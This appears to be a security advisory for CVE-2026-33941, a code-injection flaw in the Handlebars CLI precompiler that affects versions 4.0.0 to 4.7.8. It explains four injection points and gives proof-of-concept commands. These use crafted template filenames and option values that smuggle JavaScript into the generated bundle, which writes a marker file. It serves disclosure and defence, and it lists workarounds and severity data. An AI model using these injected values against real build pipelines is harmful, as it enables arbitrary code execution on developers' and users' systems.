CVE-2026-33941

ADVISORY - github

Summary

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

  • Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
  • Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
  • Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
  • Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Encoding or Escaping of Output

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper Control of Generation of Code ('Code Injection')

ADVISORY - github

Improper Encoding or Escaping of Output

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper Control of Generation of Code ('Code Injection')

ADVISORY - redhat

Improper Control of Generation of Code ('Code Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

1.5

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.2high
PackageTypeOS NameOS VersionAffected RangesFix Versions
handlebarsnpm-->=4.0.0,<=4.7.84.7.9

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is not bound to the network stack and the attacker's path is via read/write/execute capabilities. Either: The attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

1.5

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.2high

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY

Red Hat

CREATED

UPDATED

EXPLOITABILITY SCORE

1.5

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.2high